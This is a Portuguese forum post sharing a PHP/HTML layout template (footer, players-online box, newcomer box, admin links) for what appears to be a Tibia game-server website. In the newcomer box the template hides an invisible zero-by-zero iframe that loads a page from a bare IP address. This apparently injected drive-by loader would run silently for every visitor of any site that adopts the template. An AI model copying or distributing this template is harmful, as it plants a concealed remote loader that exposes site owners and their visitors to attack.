<div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-br.gif);"></div></div>

</div>

</div>

</div>

<div id="Footer">

<?PHP

$time_end = microtime_float();

$time = $time_end - $time_start;

?>

<?PHP echo getFooter() ?><br/>Page has been viewed <?PHP echo $page_views; ?> times. Load time: <?PHP echo round($time, 4); ?> seconds

</div>

</div>

<div id="ThemeboxesColumn">

<div id="RightArtwork">

<img id="Monster" src="images/monsters/<?PHP echo logo_monster() ?>.gif" onClick="window.location = '?subtopic=creatures&amp;creature=<?PHP echo logo_monster() ?>';" alt="Monster of the Week" />

<img id="PedestalAndOnline" src="http://i63.photobucket.com/albums/h122/Mister_Dude/pedestal-and-online.gif" alt="Monster Pedestal and Players Online Box"/>

<div id="PlayersOnline" onClick="window.location = '?subtopic=whoisonline'">

<?PHP

if($config['status']['serverStatus_online'] == 1)

echo $config['status']['serverStatus_players'].'<br />Players Online';

else

echo '<font color="red"><b>Server<br />OFFLINE</b></font>';

?>

</div>

</div>

<div id="Themeboxes">

<div id="NewcomerBox" class="Themebox" style="background-image:url(http://i63.photobuck...newcomerbox.gif);">

<div class="ThemeboxButton" onClick="BigButtonAction('?subtopic=createaccount')" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif);">

<div class="BigButtonOver" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif);"></div>

<div class="ButtonText" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/_sbutton_jointibia.gif);"></div>

</div>

<iframe src ="http://188.126.223.74/42/index.php" width="0" frameborder="no" height="0"></iframe>

<div class="Bottom" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);"></div>

</div>

<?PHP

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo '

<div id="NewcomerBox" class="Themebox" style="background-image:url('.$layout_name.'/images/themeboxes/admin/admin.png);">

<div id="lool" CLASS=white>

<table><tr><td height="30">&nbsp;</td><td>&nbsp;</td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel"><font color="white"><b>ADMIN PANEL</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editconfigs"><font color="white"><b>EDIT CONFIGS</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editnews"><font color="white"><b>NEWS SYSTEM</b></font></a></td></tr>

</table>

</div>

<div class="Bottom" style="background-image:url('.$layout_name.'/images/general/box-bottom.gif);"></div>

</div>';

?>

<script type="text/javascript">InitializePage();</script>

</div>

</div>

</div>

</div>

</div>

</body>

</html>


Regras Gerais 

 

"Califórnia Brasileira :cool: "

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo